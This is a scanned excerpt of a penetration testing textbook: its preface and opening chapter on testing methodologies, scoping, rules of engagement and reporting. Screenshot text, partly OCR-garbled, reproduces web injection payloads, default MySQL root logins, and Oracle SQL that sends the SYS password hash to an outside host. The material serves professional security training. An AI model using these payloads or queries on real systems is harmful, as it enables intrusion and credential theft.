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Preface

Defenses continue to improve and become more and more common, but this book
will provide you with a number of proven techniques to defeat the latest defenses on
networks. The methods and techniques contained will provide you with a powerful
arsenal of best practices to increase your penetration testing success. Many of the
chapters end with a challenge to the reader that is designed to enhance and perfect
their penetration testing skills.

What this book covers

Chapter 1, Penetration Testing Essentials, discusses why an essential element
of penetration testing is planning, and a key component of this is having a
methodology that emulates and matches the threat that we are portraying.

Chapter 2, Preparing a Test Environment, deals with the test environment, compares
a number of different platforms, and prepares the reader for the foundation of
building an advanced range for testing.

Chapter 3, Assessment Planning, talks about the test environment and how to evaluate
the different platforms for your environment. The process of documenting and
recording your testing results is covered, as well as methods to automate the process.

Chapter 4, Intelligence Gathering, reviews some of the tools and focuses on how to use
the information to ensure your penetration tests are efficient, focused, and effective.

Chapter 5, Network Service Attacks, discusses how to successfully penetrate a secured
environment and how to analyze what you are facing. The enumeration data
gathered will assist in determining target prioritization and how to choose

which targets are ideal candidates for your initial attacks.

[ix]
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Chapter 6, Exploitation, reviews the basics of exploitation and then moves on to the
more interesting techniques and methods that will let us understand the true security
posture of the network environment we are testing. Additionally, you will see the
challenges of writing exploits today in 64-bit architectures.

Chapter 7, Web Application Attacks, explores various methods of testing web
applications using freely available tools such as your web browser, w3af, WebScarab,
and others. Methods of bypassing web application firewalls and IDSs are discussed
as well how to determine if your targets are being load balanced or filtered.

Chapter 8, Exploitation Concepts, investigates methods that assist us in testing the
effectiveness of a corporation's security awareness training and client-side protection
mechanisms. The research performed during the information gathering stages of
your testing will finally be used to the fullest extent. Furthermore, we look at some
of the techniques and tools used by security researchers and crafty attackers to
bypass even those system controls that at first glance seem theoretically sound.

Chapter 9, Post-Exploitation, covers the methods of conducting post-exploitation once
you have compromised a machine and established a foothold in the environment.
The process of extracting credentials, gathering data, and scraping the environment
once access is gained is covered in detail.

Chapter 10, Stealth Techniques, reviews the challenges of penetrating firewalled
environments, and methods of evading detection and blocks from the different
endpoint protection mechanisms that may encounter during your testing.

Chapter 11, Data Gathering and Reporting, introduces the usage of tools and techniques
that can make documenting the testing progress less painful and report writing
easier, which is an essential but often overlooked component of penetration testing.

Chapter 12, Penetration Testing Challenge, allows you to put some of the information
that has been covered throughout the book to work and bring it into perspective.
The chapter provides preparation specifications for the practice environment and
presents a challenge to the reader to perform a penetration test of this fictional
company.

What you need for this book

You can use a virtual software platform of your choice, but the examples throughout
the book use VMware Workstation Professional, the Kali 2.0 Linux distribution, and
a number of other prebuilt virtual machine images, such as the Kioptrix and OWASP
distributions. The iso images for pfsense firewall, Ubuntu 8, 14.04, Debian 4.0,
CentOS 5.0, FreeBSD, and Windows Server 2003.

[x]
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Who this book is for

This book is for anyone who wants to improve their skills in penetration testing. As
it follows a step-by-step approach, anyone from a novice to an experienced security
tester can learn effective techniques to deal with highly secured environments.

Whether you are brand new or a seasoned expert, this book will provide you
with the skills you need to successfully create, customize, and plan an advanced
penetration test.

Conventions

In this book, you will find a number of text styles that distinguish between different
kinds of information. Here are some examples of these styles and an explanation of
their meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLSs, user input, and Twitter handles are shown as follows:
"Aside from Oracle, another port of interest is the port 3306."

A block of code is set as follows:

<title><%= title %$></title>
<hl>You can change this template to suit your needs.</hl>

When we wish to draw your attention to a particular part of a code block, the
relevant lines or items are set in bold:

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd/2.4.7 ((Ubuntu))
| http-title: Site doesn't have a title (text/html)
TRACEROUTE

HOP RTT ADDRESS

Any command-line input or output is written as follows:

$ sudo -i

# apt-get update

# apt-get upgrade

New terms and important words are shown in bold. Words that you see on

the screen, for example, in menus or dialog boxes, appear in the text like this:
"Once you verified your settings, click on Apply | OK."

[xi]
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% Warnings or important notes appear in a box like this.

a1

~Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about
this book —what you liked or disliked. Reader feedback is important for us as it
helps us develop titles that you will really get the most out of.

To send us general feedback, simply e-mail feedbackepacktpub.com, and mention
the book's title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing
or contributing to a book, see our author guide at www.packtpub. com/authors.

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to
help you to get the most from your purchase.

Downloading the color images of this book

We also provide you with a PDF file that has color images of the
screenshots/diagrams used in this book. The color images will help you
better understand the changes in the output. You can download this file

from https://www.packtpub.com/sites/default/files/downloads/
AdvancedPenetrationTestingforHighlySecuredEnvironmentsSecondEdition

ColoredImages.pdf.
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Errata

Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you find a mistake in one of our books —maybe a mistake in the text or
the code —we would be grateful if you could report this to us. By doing so, you can
save other readers from frustration and help us improve subsequent versions of this
book. If you find any errata, please report them by visiting http://www.packtpub.
com/submit-errata, selecting your book, clicking on the Errata Submission Form
link, and entering the details of your errata. Once your errata are verified, your
submission will be accepted and the errata will be uploaded to our website or added
to any list of existing errata under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/
content/support and enter the name of the book in the search field. The required
information will appear under the Errata section.

Piracy

Piracy of copyrighted material on the Internet is an ongoing problem across all
media. At Packt, we take the protection of our copyright and licenses very seriously.
If you come across any illegal copies of our works in any form on the Internet, please
provide us with the location address or website name immediately so that we can
pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected
pirated material.

We appreciate your help in protecting our authors and our ability to bring you
valuable content.

Questions

If you have a problem with any aspect of this book, you can contact us at
questions@packtpub.com, and we will do our best to address the problem.
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Penetration Testing
Essentials

In this chapter, we will discuss why an essential element of penetration testing is
planning, and a key component of this is having a methodology that emulates and
matches the threat that we are portraying. We will discuss the following:

* The need for a methodology approach
* Examples of different methodologies available

* How to establish the testing methodology

If you have been performing penetration testing for some time and are very familiar
with the methodology and concept of professional security testing, you can skip this
chapter, or just skim it; however, you may learn something new or at least a different
approach to how you approach penetration testing.

Methodology defined

What exactly is a methodology? This is a term that we use often in the Information
Technology (IT) world, but what exactly does it mean? As you might expect, there
are a number of different interpretations of this term that usually is dependent on
whom you ask. If we use the search capability of the Internet, we can possibly get
a better idea of what the term means. From the Wikipedia website, at https://
en.wikipedia.org/wiki/Methodology, we see that the term is defined as a
systematic, theoretical analysis of the methods applied to a field of study. This definition
is a bit too vague for our purposes, so we will look at another source. The site at
http://www.wisegeek.com defines the term as "a set of practices." This term may
be used to refer to practices, which are widely used across an industry or scientific
discipline, the techniques used in a particular research study, or the techniques used
to accomplish a particular project."

[11]
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This definition is closer to what we are looking for, but as with most definition
sources, we will use their information as guidance and define the term in our own
words. For the concept of this book, we look at a methodology as a "systematic
approach to professional security testing that follows a structured process based
on the motives of a potential attacker when targeting an organization."

Example methodologies

In this section, we will take a look at a number of the testing methodologies that
exist for us to use. This is by no means an exhaustive list, and you are encouraged
to research the different references with respect to a methodology that exists.
Additionally, we will not explore the methodologies in detail; for more, refer to the
links that are listed with reference to each approach. The first methodology we will
look at is the penetration testing framework.

Penetration testing framework

Before we discuss the framework, we will look at the Pre-site Inspection Checklist
that is contained at the site that hosts the framework; this assessment consists of the
following main steps:

* Introduction: The essential element of this is the authority to work on the
project. Remember, there is only one thing that separates the malicious
hacker from the ethical one, and that is the written authorization the ethical
hacker receives prior to doing any testing. Another component of this is the
organization's testing background.

* Accreditation status: This is where we list the status as to what type of test
it is. That is, a pre-test, interim test, or a full test.

* Scope of the test: The objective of this section is to determine what type of
test you are actually doing, and it is broken into several different areas such
as the stage of the lifecycle and test type. The stage we want to review is the
test type. This is because this is the main component that we need when it
comes to building our penetration testing methodology. This stage is broken
down into the following categories:

°  Compliance test: There are a number of standards that are out there
in the industry, and there are many of them that require some form
of penetration testing. Your engagements might include verifying
that a client is within the requirements of a selected standard. There
are many different standards out there, and it is beyond the scope of
the book to cover them. You are encouraged to research the different
standards available and become familiar with them, in case it is a part
of a future test.

[2]



Chapter 1

°  Vulnerability assessment: According to the pre-inspection
recommendation, when we refer to vulnerability assessment, we are
looking for the flaws or weaknesses of a system, and we can further
categorize this process as what type of credentials will be provided
as part of the test.

Penetration testing: This is defined in the standard as a process
when the state of the system, and/or network security, is likely
subjected to an attack. Within this section, the standard defines the
type of test, whether it is black (limited or not provided information
from the target), grey (where the client provides with some specific
information), and white (where the testing team is provided with as
much information as possible). This is also where you work with the
client to ensure that the scope of work is understood, since you have
complete details of the client architecture.

An example of the web page for the framework is shown in the following image:

Expand - Collaps

= Penetration Testing Framework 0.59
= Pre-Inspection Visit - template B
= Network Foofprinting (Reconnaissance) The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two
forms i.e. active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc
afforded to the network. This would usually invalve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form
would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack
= @ wWhois is widely used for querying authoritative registries/ databases to discover the owner of a domain name, an IP address, or an autonomous system number of
the system you are targeting
& Authoratitive Bodies
= IANA - Internet Assigned Numbers Authority
= ICANN - Interet Corporation for Assigned Names and Numbers. [
= NRO - Number Resource Organisation 2

& RIR - Regional Internet Registry
= AFRINIC - African Network Information Centre [

= APNIC - Asia Pacific Network Information Centre 2

= National Internet Registry
= APJIIA
= CNNIC &
= JPNIC A
= KRNIC
= TWNICEE

[31]



Penetration Testing Essentials

The framework starts with the identification of the network footprint to gather as
much information as possible for the selected network. As with most methodologies,
the step is broken down into two types, active and passive. The framework defines
the active part of the reconnaissance as being intrusive and involves attempting
zone transfers and other types of activity that will be detected and/or blocked by
the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS),
respectively. Additionally, passive refers to the nonintrusive approach of testing.
The framework lists a number of sites to assist with gathering the information.
Many of these are covered by others, so we will not focus on them here; however,
we will look at one site that combines a number of different tools: the http://www.
centralops.net website. An example of this is shown in the following image:

E En tr a’ HPS -nE t Advanced online Internet utilities

utilities Free online network tools

Domain Dossier
Domain-Cheek
Email-Dossier

Browser Mirror

Ping
Traceroute
Nsiookup
AutoWhois
TocpQuery
AnalyzePath

Tools

Domain Dossier
Investigate domains and IP addresses. Get registrant information, DNS records, and more
—all in one report.
- o
enter a domain or IP address 29
or learn about yourself

Domain Check
See if a domain is available for registration.

Email Dossier
Validate and troubleshoot email addresses.

Browser Mirror
See what your browser reveals about you.

Ping
See if a host is reachable.

Traceroute
Trace the network path from this server to another.

NsLookup
Look up various domain resource records with this version of the classic NsLookup utility.

AutoWhois
Get Whois records automatically for domains worldwide.
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As the image shows, there are a number of tools at the site, and you are encouraged
to research them and identify the ones that you want to use as part of your
professional security testing work. Two of the tools that you might want to take a
look at are Domain Dossier and Email Dossier. Both of these tools will allow you to
glean some important information about a domain and also an e-mail address. The
following image is a cropped example of Email Dossier:

Ema" DOSSier Investigate email addresses
email address ke-«‘in@_com 9o J

user: anonymous [24.247.193.182]
balance: 47 units

leg in | account info T AT TSEITET
validating kevin | -

Validation results

confidence rating: 3 - SMTP
The email address passed this level of validation
without an error. However, it is not guaranteed to be
a good address. more info

canonical address: <kevin_.c0m:

MX records

preference exchange IP address (if included)

O S T

As with any of the sites within this chapter and throughout the book, there are a
number of examples for you as the reader to explore and make decisions on your
own as to which ones you want to use or not use. The important thing is to have

a plan and practice it. This is so that, when you do go against targets, you have
practiced it and examined how the different tools work and can recognize patterns
when you are performing your testing; when you reach a point where there is
something you do not recognize, take a break and think about it, and try harder

to get past it. This is all the process of testing.

[51]
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Another item that is useful in the framework is the examples for input validation. If
you try and follow the link provided, it will result in a 404 error; but the examples
that are in this section, are very good to follow and get information from. A brief
example of this is shown in the following image:

Input Validation Checks [Z

= NULL or null

= Possible eror messages returned.
' "l

= Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
-, =+, "

= Used to craft SAL Injection queries.
=2&1 0 < =

= Used to find command execution vulnerabilities.
= "=<script=alert(1)</script=

= Basic Cross-Site Scripting Checks.
= %0d%0a

= Carriage Return (%0d) Line Feed (%0a)

= HTTP Splitting
B language="?foobar?%0d%0aContent-Length %200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-
Type: %20text/html|%0d%0aContent-Length %204 7%0d%0a%0d%0a<html=Insert undesireable content here</himi>
= ie Content-Length= 0 HTTP/1 1 200 OK Content-Type=text/html Content-Length=47<html=blah</html|=

= Cache Poisoning
= language="foobar?%0d%0aContent-Length-%200%0d%0a%0d%0aHTTP/1 1%20304%20Not%20Modified%0d%0aContent-
Type:%20text/htm|%0d%0al ast-Modified %20Mon, %2027%200c1%202003%2014-50:18%20GMT%0d%0aContent-
Length %2047%0d%0a%0d% 0a<html=Insert undesireable content here</html=

B %T7T, %ff
= byte-length overflows; maximum 7- and 8-bit values.

= -1, other
= Integer and underflow vulnerabilities.

This is just one example of many of the references and usage examples that are
contained within the framework. Another area of interest is the section on how to
create your own bash connect-back shells from machines; these are provided by
the team at Neohapsis and GNUCITIZEN, and there usually is good information
on these sites, so you might want to visit them at http: //www.neohapsis.comand
http://www.gnucitizen.org, respectively.
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Another section of interest is on application/server tools, and there are a number
of tools you might want to explore, specifically the tools that are related to Joomla,
an open source content management system; this is because this has become such
a popular application you are almost sure to encounter it. A tool from the list that
is also in the Kali Linux distribution is joomscan. This tool is no longer actively
deployed, but still offers lots of benefits for a tester. An example of information
about the tool from the Kali website is shown in the following image:

€« € | [ tools.kali.org/web-applications/joomscan Q o

mlll] Ill]m@jm \ HOME TOOLS LISTING METAPACKAGES VERSION TRACKING
TOOLS 3

Jjoomscan

vy v v v v
= r

One of the best parts of the framework is the breakdown of tools based on

the discovered port. This helps when you build your custom methodology;
consequently, you want to build your lab environment, practice the discovered
tools, and build your own library of tools and steps for the ones that work and do
not work. The challenge with any of these tool listings is finding the ones that are
still active and available. Once you have done that, then you want to narrow the list
down to the ones that work for you, and then become proficient with the tool. This
is why we build lab ranges and practice the skills over and over before we ever do
any testing.
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An example from the framework for a discovered port 1521 (Oracle) is shown in
the following image. As a reminder, some or maybe all of the tools might not exist,
or might have changed since the writing of this book, so keep that in mind when
you look at the tools from the list. Even one good tool for Oracle makes it worth
performing the research. There are a lot of Oracle databases out there and it is
good to know how to test them.

Oracle Port 1521 Open

& @ Oracle Enumeration
oracsec &
Repscan &
Sidguess [
Scuba [Z

DNS/HTTP Enumeration
= SQL= SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE US
ERNAME="SYS")||"vulnerabilityassessment.co.uk’) FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM
DBA_USERS WHERE USERNAM E="SYS')||".vulnerabilityassessment.co.uk’) FROM DUAL
= SQL= select utl_http.request(‘http://gladius:5500/||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;

WinsID
Oracle default password list [

TNSVer [
= tnsver haost [port]

TCP Scan 4

Oracle TNSLSNR &
= Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file]
[show] [spawn] [stop]
TNSCmd [
= perl tnscmd.pl -h ip_address
= perl tnscmd.pl version -h ip_address
= perl tnscmd.pl status -h ip_address
= perl tnscmd.pl -h ip_address —cmdsize (40 - 200)

LSNrCheck [
Oracle Security Check (needs credentials)

o}

o}

o}

o

Aside from Oracle, another port of interest is the port 3306 (MySQL). Since there
continues to be a large movement to the cloud, many solutions don't use commercial
software versions, because of the cost involved or because they prefer the control you
can have in a Linux or open source application. Since this is the case, it has become
more common for the attackers to start looking at the open source systems and
applications more. This has been confirmed with the latest attacks as of this writing
against OpenSSL. An example of the recommended techniques when the port is
discovered open is shown in the following image:

[8]
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IMySQL port 3306 open

= Enumeration
= nmap -A -n -p3306 <IP Address=
= nmap -A -n -PN --scriptALL -p3306 <IP Address:>
= telnet IP_Address 3306
= use test; select * from test:
= To check for other DB's -- show databases

= Administration

MySQL Network Scanner B
MySQL GUI Tools
mysglshow

mysqglbinlog

= Manual Checks

= Default usernames and passwords
= username: root password:

= testing
= mysql-h <Hostname: -u root
mysqgl -h <Hostname= -u root
mysgl -h <Hostname= -u root@localhost
mysgl -h <Hostname=
mysgl -h <Hostname= -u "@localhost

= Configuration Files
= Operating System

= windows
= config.ini

= my.ini
= windows\my.ini
= winntimy.ini

= <InstDir=/mysql/data/

= unix

= my.cnf

As we mentioned previously, you are encouraged to explore these techniques and
build your own custom methodology. There is no perfect solution, so you will

have to come up with the best one you can to meet the needs of the test that you

are performing. An example of this would be for you to take all of the tools you
work with and test them and make some form of a chart. A common technique is a
decision flow chart that identifies whether authentication is required or not. Then, if
it is an external test, the authentication more than likely will not be provided from
the client or the requesting entity so that the tool would only be used if you have
some form of credentials for it. It is possible that you have obtained these credentials
from other means, but for the most part, an external test would not have credentials
associated with it, so you would not use that tool or the command switch of the tool
that requires credentials as part of your test. However, if the test is internal and you
will have credentials as part of the scope of work, then you would use that tool or
switch as part of your testing. This is the challenge we all face as testers; we have to
identify where and when to apply the tool within the methodology. Furthermore, we
have to know what the tools do when we use them and how to use the tool properly.
Since such a wide variety of these methods are available to us, we have to carry out
our research and select the components that work well for us.

[o]
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The last thing we will cover from the framework before moving on is the section
on port 5060 (Session Initiation Protocol). Since there are so many Voice Over
IP (VOIP) configurations across the enterprise, there is a good chance you will
encounter SIP in your testing. An example from the framework of this is shown
in the following image:

SIP Port 5060 open
= @ sSIP Enumeration

= netcat &
= nc IP_Address Port

= sipflanker [
= python sipflanker py 192 168.1-254

= Sipscan [#

= smap
= smap IP_Address/Subnet_Mask
= smap -0 IP_Address/Subnet_Mask
= smap -l IP_Address

= @ sIP Packet Crafting etc.
= sipsak &
= Tracing paths: - sipsak -T -5 sip-usernaem@domain
= Options request:- sipsak -vv -s sip-username@domain
= Query registered bindings:- sipsak -l -C empty -a password -s sip-username@domain

= siprogue

]
&

SIP Vulnerability Scanning/ Brute Force

= titp bruteforcer [
= Default dictionary file 2
= titpbrute.pl IP_Address Dictionary_file Maximum_Processes

= VolPaudit &
« sivus [#

= @ Examine Configuration Files
= SIPDefault.cnf
= asterisk.conf
= sip.conf
= phone.conf
= sip_notify.conf
= <Ethernet address=.cfg

As we indicated, there are a number of things that we can use as references for

our testing and to establish our process and methodology. From here, you are
encouraged to research the framework on your own and build your listing of what
tool does what for each of the protocols that you may encounter. We will now move
on to another standard for penetration testing.

[10]
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Penetration Testing Execution Standard

Penetration Testing Execution Standard (PTES) provides technical procedures that
can be used in a penetration test. The standard consists of seven main sections, and
these are as follows:

* Pre-engagement interactions

* Intelligence gathering

* Threat modeling

* Vulnerability analysis

* Exploitation

* Post-exploitation

* Reporting
The standard does not provide the technical guidance to execute a penetration test,
but there is a technical guide that can be used to provide this type of information to
those who want it. This reference can be found at http://www.pentest-standard.
org/index.php/PTES Technical Guidelines. This supplement provides examples
of the methods to use to carry out each step of the methodology; when you combine it

with the standard, it provides a comprehensive plan for penetration testing. The brief
explanation that is found at the website is shown in the following image:

This secticn is designed to be the PTES technical guidelines that help define certain procedures te follow during a penetration test. Semething to be aware of is that these are only baseline
methods that have been used in the industry. They will need to be continuously updated and changed upon by the community as well as within your own standard. Guidelines are just that
something to drive you in a direction and help during certain scenarios, but not an all encompassing set of instructions on how to perform a penetration test. Think outside of the box.

Technical Guidelines

[11]
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Pre-engagement interactions

Within the standard, there are a number of important items for when you are
planning a penetration test. We will not discuss each and every one since you can
get this information by reading the standard; we will, however, look at some of

the more essential items. The first item that we want to look at is the scope, this is
something that is very important before a test can begin, and often it is not planned
as well as it should be. From experience, it is very easy to not properly identify

the scope and as such spend much more time than what you expected to on a test.
This is speaking from experience, and while some scope "creep" is expected, it is
imperative that when planning a test you try to get the scope as close to correct as
possible. As mentioned in the standard, it is a key fact that the testing group can and
often does underestimate the work, especially in black box testing when the size of
the organization is not well known; consequently, not charging the correct amount
is something that often does happen. Although it may be part of human nature to
do less than a complete job when this happens, a professional tester will provide the
same level of service regardless of the cost. The essential component of this is the
fact that, as a professional, when we agree to an amount for a contract, we should
abide by it. This does not mean that, when a client gives us information that is not
adequate, and requires more time than estimated, we ignore it. In these situations,
it is imperative that the team requests a meeting, resolve the conflict, and come to

a mutual agreement as to a potential contract modification that revises the original
agreement. This will benefit both parties in the end. There is a good set of example
questions within this section of the document that can assist in determining the
scope, and it is worth reviewing.

Intelligence gathering

The standard takes the approach of using and defining levels when it comes to
categorizing the types of intelligence gathering. They state that this is done in three
categories and provides a means to clarify the expected output with respect to the
typically encountered constraints of time, effort, and access. The levels are as follows:

* Level 1 - compliance-driven
* Level 2 - best practice

* Level 3 - state sponsored

The exact details of the levels are beyond the scope of the book and readily available
from the website. We will discuss one more component of this: exactly what
intelligence gathering is as defined in the standard. It is based on the well know
concept of Open-Source Intelligence (OSINT). We use this to explore potential
entry points to an organization. It is important to note that the entry points can be
physical, electronic, and human with respect to social engineering.

[12]
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OSINT is further divided into three forms within the standard, these forms are
as follows:

» Passive: This is only required when there is a requirement to avoid detection.
This is not normally part of professional security testing; furthermore, this
takes a lot of time and effort to incorporate.

* Semi-passive: This is defined as using profiling that looks or at least attempts
to look like normal Internet traffic; consequently, this can be anything that is
conducted against most public records.

* Active: This is the form that involves interacting with the target directly;
moreover, it is the process of sending probes into the target environment,
and this is often scanning or directory brute-forcing against web servers.

We will conclude this section here; as with the other methodologies, you are
encouraged to explore these further.

Threat modeling

Threat identification is extremely important in a penetration test. This is because a
more structured and sophisticated threat will require a significant amount of time to
emulate. In most cases, this level of threat is not selected when testing, and the simple
fact of this is it is too time-consuming. A reason for this is the fact that you have as part
of this threat the requirement to reverse-engineer binaries and look for weaknesses
there. For those of you reading this who are not aware, this is a time-consuming
process and very rarely asked for in most tests.

Part of this is planning for the "what if" scenario that surrounds the loss of any assets
that are identified as part of the modeling process. This value is defined as the asset's
net value, its intrinsic value, and other directly incurred costs associated with an
event that causes a loss to the business. When you are testing a financial corporation,
their critical assets will be different than those of a defense contractor. As a tester,
we want to know what it is that the customer is most concerned with having
compromised. The standard goes on to define high-level threat modeling process,
and this consists of the following;:

* Gather relevant documentation
* Identify and categorize primary and secondary assets

* Identify and categorize threats and communities

* Map threat communities against primary and secondary assets

[13]
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The standard also states there are a number of tools that are available to assist in this
process. As before, the reader is encouraged to explore the different tools that are
available outside of the book.

Vulnerability analysis

The standard explains that vulnerability testing is the process of looking for flaws

in the targets we are testing. This is one of the challenges in testing, and that is the
depth we are going to test. The decision for this should be based on the requirements
of the scope of work. As stated in the standard, this process is highly dependent,

not only by the scope, but also on the type of component being tested. Having said
this, the standard correctly goes on to discuss the key principles that are part of
vulnerability analysis. The standard breaks the vulnerability analysis into two
high-level categories, and they are as follows:

* Active: This is the process that involves direct interaction with the tested
component as we test for vulnerabilities.

* Passive: This is explained in the standard as the process of looking at the
metadata or the data that is describing the object rather than the object itself.

* Validation: It is this component that involves correlation of a number of
tools that you use in testing. Styles of this consist of using the vulnerability
ID/Common Vulnerability Exposure (CVE) or Open Source Vulnerability
Database (OSVDB) as well as any vendor numbers that might reference
the vulnerability.

* Research: This is the practice of using the resources that we have available
from the vulnerability databases as well as exploit databases.

Within the standard, each of these areas is explained in great detail, and the
information there is very beneficial as you build your plan and testing methodology.
One of the challenges with these references is determining what is viable for
validation and exploitation. One of the key components of this is to research a
number of different types of resources and select one or two and frequent them
often. This is another section of the standard that you are recommended to review;
however, one important thing remains before we move on, and that is the reality

of vulnerability scanning while penetration testing. First, we have to consider if we
are on a flat network or have a filtering device to pass through to get to the target

of interest. The other thing we must consider is the fact that vulnerability scanners
are somewhat limited with respect to determining client side vulnerabilities without
credentials. A part of the scope of work should be a discussion on the preferred
method for the vulnerability scanner; furthermore, whether there will be testing
with or without credentials.
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Additionally, it needs to be determined if the test consists of credentials for a normal
user as well as a privileged one. The standard completes this section by explaining

the need for what it termed as private research and the importance of establishing a
robust and complete lab environment; for more on building your penetration testing
labs, you can refer to Building Virtual Pentesting Labs for Advanced Penetration Testing.

Exploitation

The standard explains that this phase focuses solely on establishing and gaining
access, and that it directly relates to how well we perform our vulnerability analysis.
Another way to look at this is considering it as a validation of the vulnerabilities you
have discovered; as the standard explains, we want to identify the main entry point
into the organization and identify the targets of interest. This is another step that is
completely dependent on what the scope of work is and the Rules of Engagement
that have been established. For many in the testing industry, this is 10 minutes of
fun, while the rest can be seen as 10 boring hours. This is not really the case when it
comes to professional security testing as each component of testing is very important
to the outcome: a professional report. The thing to remember is that the job of the
testing team is to provide the client that engaged you with a report that can help
them improve their security process and enterprise security posture. The standard
lists countermeasures within this section and explains the importance of when you
are testing, assessing the measures in place, and enumerating them before attempting
the exploit. This does make sense when you are testing; it is recommended.

The standard also includes the act of evasion, and this is not something that is
often part of penetration testing, but it is important to assess the control, so if

it is an Intrusion Prevention System or another type then we can identify the
threshold. Within this section, evasion is explained as the technique used to evade
detection during your penetration testing. One of the components that is discussed,
customizing of exploits, is something that the majority of testers will not experience.
There are many excellent exploit writers in the industry, and for most of us we

can use something that someone else has created. For those of you who do want to
explore the writing of your own exploits, the topic was covered in the first edition
of this book as well as a number of references. Finally, the process of fuzzing is
explained within this section. Fuzzing is the ability to modify or change the data
being sent to an application in hopes of identification of vulnerability. The process
has quite a following, and there are entire books written on this subject.
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Post-exploitation

The standard describes this phase in line with the way that most do, and that is the
concept is to while remaining within the scope of work maintain access, we want

to plant some form of backdoor that will allow us to maintain access. During the
assessment, ideally the backdoor will include an end-of-testing date at which time
it will clean or remove itself; otherwise, the enterprise or testing team will have to
clean it up. Once we have accessed the machine, we also want to determine what
the machine's role is on the network. If we are lucky and on a domain controller in a
Microsoft Windows-centric enterprise, we can attempt to recon the active directory;
of course this will be highly dependent on the level of access that we gained and the
number of defenses the system administrator has deployed. An excellent website for
performing this type of reconnaissance can be found here: https://github.com/
PyroTek3/PowerShell-AD-Recon. An example of this is shown in the following
screenshot:

PyroTek3 / PowerShell-AD-Recon @ Watch 13

PowerShell Scripts | find useful
24 commits 1br 0 releases 1

BRW ¥ oranch master v | PowerShell-AD-Recon / +

Update Discover-PSMSSQLServers ---
' PyroTek3 authored ar 8 latest commit 9b935bae6s B

[2 Discover-PSinterestingServices

ver-PSMSExchangeServers
[2 Discover-PSMSSQLServers
2 Find-PSServiceAccounts

2 Get-DomainKerberosPolicy

2 Get-PSADForestinfo

1

Since post-exploitation is such a significant thing to be doing on a client's machine
due to the possibility of sensitive information, it is imperative that you get this
confirmed as a part of the Rules of Engagement. From the standard, a recommended
list of limitations is as follows:

* Escalate privileges

* (Gain access to specified data

e (Cause a Denial of Service
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The third item is not one that will usually be part of any scope of work, but since it
is a possibility we included it as a reference and it is listed within the standard. The
critical element of this is that all actions have to be well documented and detailed.
That is, when you take additional actions against an already compromised system,
ensure you detail and explain everything that was done while in the compromised
system; furthermore, the Rules of Engagement have to be considered when
extracting information from a compromised machine since this can consist of users
passwords and other sensitive information. It is the responsibility of the tester to
maintain the protection of this sensitive information, and if it is used to escalate or
penetrate deeper into the system, to ensure it is well documented. Having said this,
the passwords, even in encrypted or hashed form, are never part of any report.

Reporting

The section on reporting within the standard is similar to others, at a high level and
without a lot of detail. This is another area that is often overlooked. Having said that,
the standard does explain that the report is very important, and it is recommended
that the tester develop their own customized and branding format. The basic criteria
for a report are discussed within this section. These criteria are as follows:

* Executive summary: Communicate the specific goals of the penetration test
to the readers.

* Technical report: Communicate the technical details of the test.

* Conclusion: The final test review should echo portions of the overall test.
Ideally, the tester will demonstrate the impact these vulnerabilities have;
some testers even go so far as to provide remediation strategies such as
which vulnerabilities should be resolved first by providing a listing of the
work required in the form of a remediation plan.

As discussed earlier, this is a basic criterion and the standard contains an expansion
on each of these topics, for those of you who want to learn more.
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We will now take a look at some of the information that is contained within the
technical guidelines. One of the sections on the guidelines, which is not always part
of a standard or methodology, is information for wireless testing. An example of this
is shown in the following image:

1.2 Radio Frequency Tools
1.2.1 Frequency Counter
1.2.2 Frequency Scanner
1.2.3 Spectrum Analyzer
1.2.4 802.11 USB adapter
1.2.5 External Antennas
1.2.6 USB GPS

This is a good list of reference tools for wireless testing, and each one of these is
expanded on within the document. You are encouraged to review them as part of
your research and preparation. The next thing we want to look at is the section on
external foot printing; moreover, the component listed there is for Border Gateway
Protocol (BGP) looking glasses. This is due to the predominant protocol within the
Internet, which is BGP and as such it is always good to get information about it. An
example of one of the looking glass references is shown in the following screenshot:

BGP Looking Glasses for IPv4/IPv6, Traceroute & BGP Route Servers

“* 1 Related Reading 1 Related Software Tools
Gl Ob al # Global Internet Exchange Points + BGP Software Tools & Scripts
BGP Looking Glass servers are computers on the Internet running one of a variety of publicly
Inte rnet available Looking Glass software implementations. A Looking Glass server (or LG server) is accessed

remotely for the purpose of viewing routing info. Essentially, the server acts as a limited, read-only
portal to routers of whatever erganization is running the Locking Glass server. Typically, publicly

B ac kbone accessible looking glass servers are run by ISPs or NOCs,

This page presents an overview of BGP Looking Glasses all over the world. If you'd like to install a
BGP Looking Glass in your ISP environment, you will find several Looking Glass implementations in
our BGP Software section.

[Pv6+IPv4
The Internet Assigned Numbers Authority, IANA, is responsible for global coordination and

T]’allsit FO]" allocation of the Internet Protocol (IP) addressing systems (IPv4 & IPvE), as well as the Autonomous
System Numbers (ASN) (16-bit & 32-bit ASNs) used for routing Internet traffic. There are

YOI_H" Network currently 5 Regional Internet Registries (RIR) in the world. Source: TANA.org.
New Special

10 Gbps _ =%
$4000/month ﬁ

AfriNIC

LACNIC
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Also indicated in the screenshot is the listing of the five Regional Internet Registries
(RIR) across the globe. This is another reference that we can use with our information
gathering endeavors.

There are many different technical guidelines available within the standard; this
combined with the framework we first discussed can assist you in building your
own custom and robust testing framework and/or methodology. The next thing we
will look at is the section on detection bypass. Although it is not always a part of
